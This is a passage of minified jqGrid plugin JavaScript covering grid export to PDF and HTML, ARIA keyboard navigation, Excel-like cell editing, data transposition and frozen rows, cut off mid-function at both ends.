F=Ye(x).jqGrid("footerData","get",null,!1,b,!1),o=[];for(h=0;h<q.length;h++)l={text:Ye.jgrid.stripHtml(Ye.jgrid.getAccessor(F,q[h])),style:"tableFooter",alignment:I[q[h]]},o.push(l);_.push(o)}y={style:"tableExample",widths:a,table:{headerRows:null!=r?0:1,body:_}},S.centerTableOnPage&&(y={columns:[{width:"*",text:""},{style:"tableExample",width:"auto",widths:a,table:{headerRows:null!=r?0:1,body:_},alignment:"center"},{width:"*",text:""}]}),y={pageSize:S.pageSize,pageOrientation:S.orientation,content:[y],styles:{tableHeader:{bold:!0,fontSize:11,color:"#2e6e9e",fillColor:"#dfeffc",alignment:"center"},tableBody:{fontSize:10},tableFooter:{bold:!0,fontSize:11,color:"#2e6e9e",fillColor:"#dfeffc"},title:{alignment:"center",fontSize:15},description:{}},defaultStyle:{fontSize:10}};S.description&&y.content.unshift({text:S.description,style:"description",margin:[0,0,0,12]}),S.title&&y.content.unshift({text:S.title,style:"title",margin:[0,0,0,12]}),Ye.jgrid.isFunction(S.onBeforeExport)&&S.onBeforeExport.call(x,y);try{var G=pdfMake.createPdf(y);G.getDataUrl(function(e){Ye.jgrid.isFunction(S.loadIndicator)?S.loadIndicator.call(x,"hide"):S.loadIndicator&&Ye(x).jqGrid("progressBar",{method:"hide",loadtype:x.p.loadui})}),"open"===S.download?G.open():G.getBuffer(function(e){Ye.jgrid.saveAs(e,S.fileName,{type:S.mimetype})})}catch(e){throw e}})},exportToHtml:function(g){var f;return g=Ye.extend(!0,{title:"",onBeforeExport:null,includeLabels:!0,includeGroupHeader:!0,includeFooter:!0,includeHeader:!0,tableClass:"jqgridprint",autoPrint:!1,topText:"",bottomText:"",returnAsString:!1,treeindent:" ",visibleTreeNodes:!1,loadIndicator:!0},g||{}),this.each(function(){for(var x=this,c=x.p.colModel,e=0,_={body:x.p.treeGrid?Ye(x).jqGrid("getRowData",null,!0,g.treeindent,g.visibleTreeNodes):x.addLocalData(!0),header:[],footer:[],width:[],map:[],align:[]},t=0,r=c.length;t<r;t++)c[t]._expcol=!0,void 0===c[t].exportcol?c[t].hidden&&(c[t]._expcol=!1):c[t]._expcol=c[t].exportcol,"cb"!==c[t].name&&"rn"!==c[t].name&&"subgrid"!==c[t].name&&"sc"!==c[t].name&&c[t]._expcol&&(_.header[e]=c[t].name,_.width[e]=c[t].width,_.map[e]=t,_.align[e]=c[t].align||"left",e++);var i=document.createElement("a"),o=function(e){i.href=e;e=i.host;return-1===e.indexOf("/")&&0!==i.pathname.indexOf("/")&&(e+="/"),i.protocol+"//"+e+i.pathname+i.search},q=function(e,t,r,i,o){for(var a,n,l="<tr>",s=0,d=_.header.length;s<d&&(n=o?' colspan= "'+_.header.length+'" style=text-align:left':!0===i?" style=width:"+_.width[s]+"px;text-align:"+_.align[s]+";":" style=text-align:"+_.align[s]+";",a=_.header[s],e.hasOwnProperty(a)&&(l+="<"+t+n+">"+(r?Ye.jgrid.formatCell(Ye.jgrid.getAccessor(e,a),_.map[s],e,c[_.map[s]],x,"html"):e[a])+"</"+t+">"),!o);s++);return l+"</tr>"};function a(u){var h=x.p.groupingView,g=[],f=h.groupField.length,p=c.length,m=0,v="";function j(e,t,r,i){for(var o,a,n=function(e,t,r){var i,o=!1;if(0===t)o=r[e];else{var a=r[e].idx;if(0===a)o=r[e];else for(i=e;0<=i;i--)if(r[i].idx===a-t){o=r[i];break}}return o}(e,t,r),l=n.cnt,s=b(_.header),d=i;d<p;d++)c[d]._expcol&&(a="{0}",Ye.each(n.summary,function(){if(this.nm===c[d].name){c[d].summaryTpl&&(a=c[d].summaryTpl),o=this.v,"string"==typeof this.st&&"avg"===this.st.toLowerCase()&&(this.sd&&this.vd?o=this.v/this.vd:this.v&&0<l&&(o=this.v/l));try{this.groupCount=n.cnt,this.groupIndex=n.dataIndex,this.groupValue=n.value}catch(e){o=this.v}return s[this.nm]=Ye.jgrid.stripHtml(Ye.jgrid.template(a,o)),!1}}));return s}function b(e){for(var t={},r=0;r<e.length;r++)t[e[r]]="";return t}Ye.each(c,function(e,t){for(var r=0;r<f;r++)if(h.groupField[r]===t.name){g[r]=e;break}});var y,w=Ye.makeArray(h.groupSummary);if(w.reverse(),"local"===x.p.datatype&&!x.p.loadonce){Ye(x).jqGrid("groupingSetup");for(var e=Ye.jgrid.getMethod("groupingPrepare"),t=0;t<_.body.length;t++)e.call(Ye(x),_.body[t],t)}return Ye.each(h.groups,function(e,t){m++;try{y=Array.isArray(h.formatDisplayField)&&Ye.jgrid.isFunction(h.formatDisplayField[t.idx])?h.formatDisplayField[t.idx].call(x,t.displayValue,t.value,x.p.colModel[g[t.idx]],t.idx,h):x.formatter("",t.displayValue,g[t.idx],t.value)}catch(e){y=t.displayValue}var r="";"string"!=typeof(r=Ye.jgrid.isFunction(h.groupText[t.idx])?h.groupText[t.idx].call(x,y,t.cnt,t.summary):Ye.jgrid.template(h.groupText[t.idx],y,t.cnt,t.summary))&&"number"!=typeof r&&(r=y);var i,o=!1,a=("header"===h.groupSummaryPos[t.idx]?i=j(e,0,h.groups,0):(i=b(_.header),o=!0),Object.keys(i));if(i[a[0]]=new Array(5*t.idx).join(" ")+r,v+=q(i,"td",!0,1===m,o),f-1===t.idx){for(var n,l,s=h.groups[e+1],a=t.startRow,d=void 0!==s?s.startRow:h.groups[e].startRow+h.groups[e].cnt,p=a;p<d&&u[+p];p++){var c=u[+p];v+=q(c,"td",!0)}if("header"!==h.groupSummaryPos[t.idx]){if(void 0!==s){for(l=0;l<h.groupField.length&&s.dataIndex!==h.groupField[l];l++);m=h.groupField.length-l}for(n=0;n<m;n++)w[n]&&(i=j(e,n,h.groups,0),v+=q(i,"td",!0));m=l}}}),v}Ye.jgrid.isFunction(g.loadIndicator)?g.loadIndicator.call(x,"show"):g.loadIndicator&&Ye(x).jqGrid("progressBar",{method:"show",loadtype:x.p.loadui,htmlcontent:Ye.jgrid.getRegional(x,"defaults.loadtext")});var n='<table class="'+g.tableClass+'">';if(g.includeLabels&&(n+="<thead>"+function(e,t,r){for(var i="<tr>",o=0,a=e.length;o<a;o++)i+="<"+t+(!0===r?" style=width:"+_.width[o]+"px;":"")+">"+x.p.colNames[_.map[o]]+"</"+t+">";return i+"</tr>"}(_.header,"th",!0)+"</thead>"),n+="<tbody>",g.includeHeader&&x.p.headerrow)for(var l,s=Ye(x).jqGrid("footerData","getlength"),d=0;d<s;d++)for(d=0;d<s;d++)l=Ye(x).jqGrid("headerData","get",null,!1,d,!1),n+=q(l,"td",!1);if(x.p.grouping){var p=!!x.p.groupingView._locgr;x.p.groupingView._locgr=!1,n+=a(_.body),x.p.groupingView._locgr=p}else for(e=0,r=_.body.length;e<r;e++)n+=q(_.body[e],"td",!0,0===e);if(g.includeFooter&&x.p.footerrow)for(s=Ye(x).jqGrid("footerData","getlength"),d=0;d<s;d++)_.footer[d]=Ye(x).jqGrid("footerData","get",null,!1,d,!1),n+=q(_.footer[d],"td",!1);if(n=n+"</tbody>"+"</table>",g.returnAsString)f=n;else{var u=window.open("",""),h=(u.document.close(),g.title?"<title>"+g.title+"</title>":"");Ye("style, link").each(function(){h+=function(e){e=Ye(e).clone()[0];return"link"===e.nodeName.toLowerCase()&&(e.href=o(e.href)),e.outerHTML}(this)});try{u.document.head.innerHTML=h}catch(e){Ye(u.document.head).html(h)}u.document.body.innerHTML=(g.title?"<h1>"+g.title+"</h1>":"")+"<div>"+(g.topText||"")+"</div>"+n+"<div>"+(g.bottomText||"")+"</div>",Ye(u.document.body).addClass("html-view"),Ye("img",u.document.body).each(function(e,t){t.setAttribute("src",o(t.getAttribute("src")))}),Ye.jgrid.isFunction(g.onBeforeExport)&&g.onBeforeExport.call(x,u),Boolean(u.chrome)?g.autoPrint&&(u.print(),u.close()):setTimeout(function(){g.autoPrint&&(u.print(),u.close())},1e3)}Ye.jgrid.isFunction(g.loadIndicator)?g.loadIndicator.call(x,"hide"):g.loadIndicator&&Ye(x).jqGrid("progressBar",{method:"hide",loadtype:x.p.loadui})}),f}}),Ye.extend(Ye.jgrid,{focusableElementsList:[">a[href]",">button:not([disabled])",">area[href]",">input:not([disabled])",">select:not([disabled])",">textarea:not([disabled])",">iframe",">object",">embed",">*[tabindex]",">*[contenteditable]"]}),Ye.jgrid.extend({ariaBodyGrid:function(e){var h=Ye.extend({onEnterCell:null,onKeyCheck:null,customCellAction:null},e||{});return this.each(function(){var n=this,r=Ye.jgrid.getMethod("getStyleUI"),l=r(n.p.styleUI+".common","highlight",!0);function a(e,t){return!isNaN(e)&&!isNaN(t)&&0<=e&&0<=t&&n.rows.length&&e<n.rows.length&&t<n.p.colModel.length}function i(e,t){var r,t=n.p.iRow+t,i=n.p.iCol+e,o=n.rows.length,e=0!==e;return!!o&&(r=n.p.colModel.length,e&&(i<0&&2<=t&&(i=r-1,t--),r<=i)&&(i=0,t++),e||(t<1?(i--,n.rows[t=o-1]&&0<=i&&!n.rows[t].cells[i]&&t--):(o<=t||!n.rows[t].cells[i])&&(t=1,i++)),a(t,i)?{row:t,col:i}:!!a(n.p.iRow,n.p.iCol)&&{row:n.p.iRow,col:n.p.iCol})}function o(e,t){var r=i(e,t);if(!r)return!1;for(;Ye(n.rows[r.row].cells[r.col]).is(":hidden");)if(n.p.iRow=r.row,n.p.iCol=r.col,r=i(e,t),n.p.iRow===r.row&&n.p.iCol===r.col)return!1;return 0!==t&&Ye(n).jqGrid("setSelection",n.rows[r.row].id,!1,null,!1),r}function s(e){var t=n.p.page,r=n.p.lastpage;n.p.page!==(t=r<(t=(t+=e)<=0?1:t)?r:t)&&(n.p.page=t,n.grid.populate())}var t=Ye.jgrid.focusableElementsList.join(),d=(Ye(n).removeAttr("tabindex"),Ye(n).on("jqGridAfterGridComplete.setAriaGrid",function(e){Ye("tbody",n).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+t+"))").attr("tabindex",-1),Ye("tbody",n).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"),void 0!==n.p.iRow&&void 0!==n.p.iCol&&n.rows[n.p.iRow]&&Ye(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",0).focus(function(){Ye(this).addClass(l)}).blur(function(){Ye(this).removeClass(l)})}),n.p.iRow=1,n.p.iCol=Ye.jgrid.getFirstVisibleCol(n),0),p=0,c=!!Ye.jgrid.isFunction(h.customCellAction)&&h.customCellAction,u=!!Ye.jgrid.isFunction(h.onKeyCheck)&&h.onKeyCheck;Ye(n).on("keydown",function(e){if((!n.p.navigationDisabled||!0!==n.p.navigationDisabled)&&!e.target.id.startsWith("jqs_"+n.p.id)&&(!u||u.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e))){var t;switch(e.which||e.keyCode){case 38:t=o(0,-1),d=t.row,p=t.col,e.preventDefault();break;case 40:t=o(0,1),d=t.row,p=t.col,e.preventDefault();break;case 37:t=o(-1,0),d=t.row,p=t.col,e.preventDefault();break;case 39:t=o(1,0),d=t.row,p=t.col,e.preventDefault();break;case 36:d=e.ctrlKey?1:n.p.iRow,p=0,e.preventDefault();break;case 35:d=e.ctrlKey?n.rows.length-1:n.p.iRow,p=n.p.colModel.length-1,e.preventDefault();break;case 33:s(-1),p=n.p.iCol,d=n.p.iRow,e.preventDefault();break;case 34:s(1),p=n.p.iCol,(d=n.p.iRow)>n.rows.length-1&&(d=n.rows.length-1,n.p.iRow=n.rows.length-1),e.preventDefault();break;case 13:return void(Ye.jgrid.isFunction(h.onEnterCell)&&(h.onEnterCell.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e),e.preventDefault()));case 113:try{Ye(n).jqGrid("editCell",n.p.iRow,n.p.iCol,!0,e)}catch(e){}break;default:return void(c&&c.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e))}setTimeout(function(){Ye(n).jqGrid("focusBodyCell",d,p,r,l)},50)}}),Ye(n).on("jqGridBeforeSelectRow.ariaGridClick",function(){return!1}),Ye(n).on("jqGridCellSelect.ariaGridClick",function(e,t,r,i,o){var a,o=o.target;0<n.p.iRow&&0<=n.p.iCol&&Ye(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",-1),(Ye(o).is("td")||Ye(o).is("th")||o.id.startsWith("jqs_"+n.p.id))&&(n.p.iCol=o.cellIndex,a=Ye(o).closest("tr.jqgrow"),n.p.iRow=a[0].rowIndex,Ye(o).attr("tabindex",0).addClass(l).focus().blur(function(){Ye(this).removeClass(l)}))}),n.p.ariaBody=!0})},excelLikeGrid:function(e){var v=Ye.extend({beforeDeleteCell:null,customCellAction:null,customUndoFunction:null,specialChars:["~","!","@","#","$","%","^","&","*","(",")","_","+","{","}",":",'"',"|","<",">","?",",",".","/",";","\\","[","]"],addonChars:!1,onKeyCheck:null},e||{});return this.each(function(){var n=this,l=Ye.jgrid.getMethod("getStyleUI"),s=l(n.p.styleUI+".common","highlight",!0),d=(n.p.F2key=!1,{isValidCell:function(e,t){return!isNaN(e)&&!isNaN(t)&&0<=e&&0<=t&&n.rows.length&&e<n.rows.length&&t<n.p.colModel.length},getNextCell:function(e,t){var t=n.p.iRow+t,r=n.p.iCol+e,i=n.rows.length,e=0!==e,o=n.p.frozenColumns?n.p.frozenColCount+1:0;return!!i&&(i=n.p.colModel.length,e&&(r=r<o?o:r)===i&&(r=i),e||n.rows[t]&&0<=r&&!n.rows[t].cells[r]&&t--,this.isValidCell(t,r)?{row:t,col:r}:!!this.isValidCell(n.p.iRow,n.p.iCol)&&{row:n.p.iRow,col:n.p.iCol})},getNextVisibleCell:function(e,t){var r=this.getNextCell(e,t);if(!r)return!1;for(;Ye(n.rows[r.row].cells[r.col]).is(":hidden");)if(n.p.iRow=r.row,n.p.iCol=r.col,r=this.getNextCell(e,t),n.p.iRow===r.row&&n.p.iCol===r.col)return!1;return 0!==t&&Ye(n).jqGrid("setSelection",n.rows[r.row].id,!1,null,!1),r},movePage:function(e){var t=n.p.page,r=n.p.lastpage;n.p.page!==(t=r<(t=(t+=e)<=0?1:t)?r:t)&&(n.p.page=t,n.grid.populate())}}),t=Ye.jgrid.focusableElementsList.join(),p=(Ye(n).removeAttr("tabindex"),Ye(n).on("jqGridAfterGridComplete.setAriaGrid",function(e){Ye("tbody",n).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+t+"))").attr("tabindex",-1),Ye("tbody",n).first().find(">tr:not(.jqgfirstrow)").removeAttr("tabindex"),void 0!==n.p.iRow&&void 0!==n.p.iCol&&n.rows[n.p.iRow]&&Ye(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",0).focus(function(){Ye(this).addClass(s)}).blur(function(){Ye(this).removeClass(s)})}),n.p.iRow=1,n.p.iCol=Ye.jgrid.getFirstVisibleCol(n),n.p.ariaBody=!0,0),c=0,u=!!Ye.jgrid.isFunction(v.customCellAction)&&v.customCellAction,h=!!Ye.jgrid.isFunction(v.beforeDeleteCell)&&v.beforeDeleteCell,g=new Set(v.specialChars),f=!1,m=(n.addEventListener("paste",function(e){f&&(e=(e.clipboardData||window.clipboardData).getData("text"),Ye(n).jqGrid("saveCell",n.p.iRow,n.p.iCol,e),f=!1)}),!!Ye.jgrid.isFunction(v.onKeyCheck)&&v.onKeyCheck);Ye(n).on("keydown",function(e){if((!n.p.navigationDisabled||!0!==n.p.navigationDisabled)&&!e.target.id.startsWith("jqs_"+n.p.id)&&(!m||m.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e,d))){var t=e.which||e.keyCode,r=e.ctrlKey||17===t;switch(t){case 38:i=d.getNextVisibleCell(0,-1),p=i.row,c=i.col,e.preventDefault();break;case 40:case 13:i=d.getNextVisibleCell(0,1),p=i.row,c=i.col,e.preventDefault();break;case 37:i=d.getNextVisibleCell(-1,0),p=i.row,c=i.col,e.preventDefault();break;case 39:i=d.getNextVisibleCell(1,0),p=i.row,c=i.col,e.preventDefault();break;case 36:p=e.ctrlKey?1:n.p.iRow,c=n.p.frozenColumns?n.p.frozenColCount+1:0,e.preventDefault();break;case 35:p=e.ctrlKey?n.rows.length-1:n.p.iRow,c=n.p.colModel.length-1,e.preventDefault();break;case 33:d.movePage(-1),c=n.p.iCol,p=n.p.iRow,e.preventDefault();break;case 34:d.movePage(1),c=n.p.iCol,(p=n.p.iRow)>n.rows.length-1&&(p=n.rows.length-1,n.p.iRow=n.rows.length-1),e.preventDefault();break;case 9:i=e.shiftKey?d.getNextVisibleCell(-1,0):d.getNextVisibleCell(1,0),p=i.row,c=i.col,e.preventDefault();break;case 113:try{Ye(n).jqGrid("editCell",n.p.iRow,n.p.iCol,!0,e,!1),n.p.F2key=!0}catch(e){}break;case 8:case 46:var i=!0;!0===(i=h?h.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e):i)&&Ye(n).jqGrid("saveCell",n.p.iRow,n.p.iCol,"");break;case 86:if(r)return f=!0;break;case 90:if(r)return i=!0,(i=Ye.jgrid.isFunction(v.customUndoFunction)?v.customUndoFunction.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e):i)&&n.p.savedValues&&Ye(n).jqGrid("getCell",n.rows[n.p.iRow].id,n.p.colModel[n.p.iCol].name,!1)===n.p.savedValues.newvalue&&n.p.iRow===n.p.savedValues.indexRow&&Ye(n).jqGrid("saveCell",n.p.iRow,n.p.iCol,n.p.savedValues.oldvalue),!0;break;default:var i=/^[a-z]$/i.test(e.key),o=/^[0-9]$/i.test(e.key),a=!1;return v.addonChars&&(a=v.addonChars.test(e.key)),(i||o||g.has(e.key)||a)&&Ye(n).jqGrid("editCell",n.p.iRow,n.p.iCol,!0,e,!0),void(u&&u.call(n,n.rows[n.p.iRow].id,n.p.iRow,n.p.iCol,e))}setTimeout(function(){Ye(n).jqGrid("focusBodyCell",p,c,l,s)},50)}}),Ye(n).on("jqGridBeforeSelectRow.ariaGridClick",function(){return!1}),Ye(n).on("jqGridCellSelect.ariaGridClick",function(e,t,r,i,o){var a,o=o.target;0<n.p.iRow&&0<=n.p.iCol&&Ye(n.rows[n.p.iRow].cells[n.p.iCol]).attr("tabindex",-1),(Ye(o).is("td")||Ye(o).is("th")||o.id.startsWith("jqs_"+n.p.id))&&(n.p.iCol=o.cellIndex,n.p.savedRow.length&&Ye(n).jqGrid("saveCell",n.p.savedRow[0].id,n.p.savedRow[0].ic),a=Ye(o).closest("tr.jqgrow"),n.p.iRow=a[0].rowIndex,Ye(o).attr("tabindex",0).addClass(s).focus().blur(function(){Ye(this).removeClass(s)}))}).on("jqGridDblClickRow.ariaGridDblClick",function(e,t,r,i,o){Ye(n).jqGrid("editCell",r,i,!0,o,!1),n.p.F2key=!0})})},focusBodyCell:function(n,l,s,d){return this.each(function(){var e,t=this,r=s||Ye.jgrid.getMethod("getStyleUI"),i=d||r(t.p.styleUI+".common","highlight",!0),o=Ye.jgrid.focusableElementsList.join();function a(e){return Ye(o,e)[0]}void 0!==n&&void 0!==l?!isNaN(t.p.iRow)&&!isNaN(t.p.iCol)&&0<=t.p.iCol&&(e=a(t.rows[t.p.iRow].cells[t.p.iCol]),Ye(e||t.rows[t.p.iRow].cells[t.p.iCol]).attr("tabindex",-1)):(n=t.p.iRow,l=t.p.iCol),n=parseInt(n,10),l=parseInt(l,10),0<n&&0<=l&&(e=a(t.rows[n].cells[l]),Ye(e||t.rows[n].cells[l]).attr("tabindex",0).addClass(i).focus().blur(function(){Ye(this).removeClass(i)}),t.p.iRow=n,t.p.iCol=l)})},resetAriaBody:function(){return this.each(function(){var t=this,r=!1,e=(t.p.ariaBody=!1,Ye(t).attr("tabindex","0").off("keydown").off("jqGridBeforeSelectRow.ariaGridClick").off("jqGridCellSelect.ariaGridClick").off("jqGridAfterGridComplete.setAriaGrid"),Ye.jgrid.focusableElementsList.join());Ye("tbody",t).first().find(">tr:not(.jqgfirstrow)>td:not(:hidden, :has("+e+"))").removeAttr("tabindex").off("focus"),Ye("tbody",t).first().find(">tr:not(.jqgfirstrow)").attr("tabindex",-1);try{t.removeEventListener("paste",function(e){r&&(e=(e.clipboardData||window.clipboardData).getData("text"),Ye(t).jqGrid("saveCell",t.p.iRow,t.p.iCol,e),r=!1)},!0)}catch(e){}})},ariaHeaderGrid:function(e){var r=Ye.extend({onHeaderKeyCheck:null},e||{});return this.each(function(){var o=this,e=Ye.jgrid.getMethod("getStyleUI")(o.p.styleUI+".common","highlight",!0),t=Ye("#gbox_"+o.p.id).find(".ui-jqgrid-hbox>table").first(),a=!!Ye.jgrid.isFunction(r.onHeaderKeyCheck)&&r.onHeaderKeyCheck;Ye("tr.ui-jqgrid-labels",t).on("keydown",function(e){var t=o.p.selHeadInd,r=e.which||e.keyCode,i=o.grid.headers.length;if(!a||a.call(o,t,e))switch(r){case 37:if(0<=t-1){for(t--;Ye(o.grid.headers[t].el).is(":hidden")&&0<=t-1&&!(--t<0););0<=t&&(Ye(o.grid.headers[t].el).focus(),Ye(o.grid.headers[o.p.selHeadInd].el).attr("tabindex","-1"),o.p.selHeadInd=t,e.preventDefault())}break;case 39:if(t+1<i){for(t++;Ye(o.grid.headers[t].el).is(":hidden")&&t+1<i&&!(i-1<++t););t<i&&(Ye(o.grid.headers[t].el).focus(),Ye(o.grid.headers[o.p.selHeadInd].el).attr("tabindex","-1"),o.p.selHeadInd=t,e.preventDefault())}break;case 13:Ye(o.grid.headers[t].el).find("div").first().trigger("click"),e.preventDefault();break;default:return}}),Ye("tr.ui-jqgrid-labels>th:not(:hidden)",t).attr("tabindex",-1).focus(function(){Ye(this).addClass(e).attr("tabindex","0")}).blur(function(){Ye(this).removeClass(e)}),o.p.selHeadInd=Ye.jgrid.getFirstVisibleCol(o),Ye(o.grid.headers[o.p.selHeadInd].el).attr("tabindex","0")})},focusHeaderCell:function(e){return this.each(function(){0<=(e=void 0===e?this.p.selHeadInd:e)&&e<this.p.colModel.length&&(Ye(this.grid.headers[this.p.selHeadInd].el).attr("tabindex","-1"),Ye(this.grid.headers[e].el).focus(),this.p.selHeadInd=e)})},resetAriaHeader:function(){return this.each(function(){var e=Ye("#gbox_"+this.p.id).find(".ui-jqgrid-hbox>table").first();Ye("tr.ui-jqgrid-labels",e).off("keydown"),Ye("tr.ui-jqgrid-labels>th:not(:hidden)",e).removeAttr("tabindex").off("focus blur")})},ariaPagerGrid:function(){return this.each(function(){var i=this,e=Ye.jgrid.getMethod("getStyleUI"),t=e(i.p.styleUI+".common","highlight",!0),o="."+e(i.p.styleUI+".common","disabled",!0),a=Ye(".ui-pg-button",i.p.pager),n=a.length;a.attr("tabindex","-1").focus(function(){Ye(this).addClass(t)}).blur(function(){Ye(this).removeClass(t)}),i.p.navIndex=0,setTimeout(function(){var e=a.not(o).first().attr("tabindex","0");i.p.navIndex=e[0]&&e[0].cellIndex?e[0].cellIndex-1:0},100),Ye(i.p.pager).find("table.ui-pager-table tr").first().on("keydown",function(e){var t=e.which||e.keyCode,r=i.p.navIndex;switch(t){case 37:if(0<=r-1){for(r--;Ye(a[r]).is(o)&&0<=r-1&&!(--r<0););0<=r&&(Ye(a[i.p.navIndex]).attr("tabindex","-1"),Ye(a[r]).attr("tabindex","0").focus(),i.p.navIndex=r),e.preventDefault()}break;case 39:if(r+1<n){for(r++;Ye(a[r]).is(o)&&r+1<n+1&&!(n-1<++r););r<n&&(Ye(a[i.p.navIndex]).attr("tabindex","-1"),Ye(a[r]).attr("tabindex","0").focus(),i.p.navIndex=r),e.preventDefault()}break;case 13:Ye(e.originalEvent.srcElement).hasClass("ui-pg-input")||(Ye(a[r]).trigger("click"),e.preventDefault());break;default:return}})})},focusPagerCell:function(r){return this.each(function(){var e=Ye(".ui-pg-button",this.p.pager),t=e.length;0<=(r=void 0===r?this.p.navIndex:r)&&r<t&&(Ye(e[this.p.navIndex]).attr("tabindex","-1"),Ye(e[r]).attr("tabindex","0").focus(),this.p.navIndex=r)})},resetAriaPager:function(){return this.each(function(){Ye(".ui-pg-button",this.p.pager).removeAttr("tabindex").off("focus"),Ye(this.p.pager).find("table.ui-pager-table tr").first().off("keydown")})},setAriaGrid:function(e){var t=Ye.extend({header:!0,body:!0,pager:!0,onEnterCell:null,customCellAction:null,excel:!1},e||{});return this.each(function(){t.header&&Ye(this).jqGrid("ariaHeaderGrid",t),t.body&&(t.excel?Ye(this).jqGrid("excelLikeGrid",t):Ye(this).jqGrid("ariaBodyGrid",t)),t.pager&&Ye(this).jqGrid("ariaPagerGrid")})},resetAriaGrid:function(e){var t=Ye.extend({header:!0,body:!0,pager:!0},e||{});return this.each(function(){t.body&&Ye(this).jqGrid("resetAriaBody"),t.header&&Ye(this).jqGrid("resetAriaHeader"),t.pager&&Ye(this).jqGrid("resetAriaPager")})}}),Ye.jgrid.extend({transposeSetup:function(n,e){var l=[],s=[],d=!1,p=Ye.extend({},e||{});return this.each(function(){var e,t,r=Object.keys(n[p.baseindex]);p.excludeSrcCols.length&&(r=r.filter(function(e){return!p.excludeSrcCols.includes(e)}));for(var i=0;i<r.length;i++){t=0,(e={}).col_name=r[i],d||l.push({name:"col_name"}),t++;for(var o=0;o<n.length;o++){var a=n[o];e[p.nameprefix+t]=a[r[i]],d||l.push({name:p.nameprefix+t,label:p.labelprefix+t}),t++}d=!0,s.push(e)}}),{colModel:l,rows:s}},jqTranspose:function(r,l,s,i){return l=Ye.extend({nameprefix:"col",labelprefix:"value ",baseindex:0,beforeCreateGrid:null,RowAsHeader:0,loadMsg:!1,excludeSrcCols:[]},l||{}),this.each(function(){var n=this,e=s&&s.regional?s.regional:"en";function t(e,t){Array.isArray(e)||(e=[]);var r=jQuery(n).jqGrid("transposeSetup",e,l);if(Ye.jgrid.isFunction(l.beforeCreateGrid)&&l.beforeCreateGrid.call(n,r,e),!1!==t.RowAsHeader&&0<=t.RowAsHeader&&r.rows.length&&t.RowAsHeader<r.rows.length){var i,o=r.rows[t.RowAsHeader],a=0;for(i in o)Object.prototype.hasOwnProperty.call(o,i)&&(r.colModel[a].label=o[i]),a++;r.rows.splice(t.RowAsHeader,1)}e=Ye.jgrid.from.call(n,r.rows);jQuery(n).jqGrid(Ye.extend(!0,{datastr:e.select(),datatype:"jsonstring",colModel:r.colModel,jsonReader:{repeatitems:!1},viewrecords:!0},s||{})),l.loadMsg&&Ye(".loading_pivot").remove()}l.loadMsg&&Ye("<div class='loading_pivot ui-state-default ui-state-active row'>"+Ye.jgrid.getRegional(n,"regional."+e+".defaults.loadtext")+"</div>").insertBefore(n).show(),"string"==typeof r?Ye.ajax(Ye.extend({url:r,dataType:"json",success:function(e){t(Ye.jgrid.getAccessor(e,i&&i.reader?i.reader:"rows"),l)}},i||{})):t(r,l)})}}),Ye.jgrid.extend({setupFrozenRows:function(e){var m=Ye.extend({first:0,last:0,rowids:[],saveFirstLastId:!1,classes:""},e||{});return this.each(function(){if(!(!0===this.p.subGrid||!0===this.p.treeGrid||!0===this.p.cellEdit||this.p.scroll||!0===this.p.frozenColumns||!0===this.p.frozenRows||!0===this.p.grouping||m.first<=0&&m.last<=0&&0===m.rowids.length)){var e,t,r,i=this,o="border-box"===Ye("#"+Ye.jgrid.jqID(i.p.id)).css("box-sizing")?1:0,a="#"+Ye.jgrid.jqID(i.p.id),n="#gview_"+Ye.jgrid.jqID(i.p.id),l=document.getElementById("gbox_"+i.p.id).getBoundingClientRect().top,s=document.getElementById(i.p.id).getBoundingClientRect().top,d=Ye(n).width(),p=[],s=Ye('<div style="position:absolute;left:0px;top:'+(s-l-o)+'px;height:0px;overflow-x:hidden;" class="frozen-rdiv ui-jqgrid-rdiv"></div>');if(Ye(n).append(s),Ye(".frozen-rdiv",n).css("width",d-(Ye.jgrid.scrollbarWidth()+2)),p.push(Ye(".jqgfirstrow",a).clone(!0)),m.rowids&&0<m.rowids.length){for(e=0;e<m.rowids.length;e++)for(t=i.rows.length;t--;)if(i.rows[t].id===m.rowids[e]){p.push(Ye(i.rows[t]).clone(!0)),Ye(i.rows[t]).insertBefore(i.rows[e+1]);break}}else if(0<m.first)for(e=0;e<m.first;e++)p.push(Ye(i.rows[e+1]).clone(!0)),m.saveFirstLastId&&(m.rowids||(m.rowids=[]),m.rowids.push(i.rows[e+1].id));else{if(!(0<m.last))return;for(t=i.rows.length,e=0;e<m.last;e++)p.splice(1,0,Ye(i.rows[t-1]).clone(!0)),m.saveFirstLastId&&(m.rowids||(m.rowids=[]),m.rowids.unshift(i.rows[t-1].id)),Ye(i.rows[t-1]).insertBefore(i.rows[1])}s.css("height","auto");var c=Ye(a).clone(!0);for(c.children("tbody").empty(),t=0,r=p.length;t<r;t++)p[t].addClass(m.classes).appendTo(c);c.appendTo(s);var u=i.p.id+"_fr",l=(Ye(a,s).attr("id",u),u="#"+Ye.jgrid.jqID(u),Ye.jgrid.getMethod("getStyleUI")),o=i.p.styleUI+".common",h=l(o,"highlight",!0),g=l(o,"hover",!0);if(Ye(".frozen-rdiv",n).on("click","tr",function(){i.p.selrow&&Ye(i).jqGrid("resetSelection",i.p.selrow);var e=Ye(this).index();Ye(this).addClass(h).siblings().removeClass(h),i.p.selrow=this.id,Ye(".frozen-rdiv tr").eq(e).addClass(h).siblings().removeClass(h)}),Ye(u).on("click",function(){Ye(".frozen-rdiv tbody").children("tr").each(function(){Ye(this).removeClass(h)})}),Ye(n+" .ui-jqgrid-bdiv").first().on("scroll",function(){var e=this.scrollLeft;Ye(".frozen-rdiv").scrollLeft(e)}),Ye(".frozen-rdiv tr").hover(function(){var e=Ye(this).index();Ye(".frozen-rdiv tr").eq(e).addClass(g)},function(){var e=Ye(this).index();Ye(".frozen-rdiv tr").eq(e).removeClass(g)}),i.p.rownumbers){var 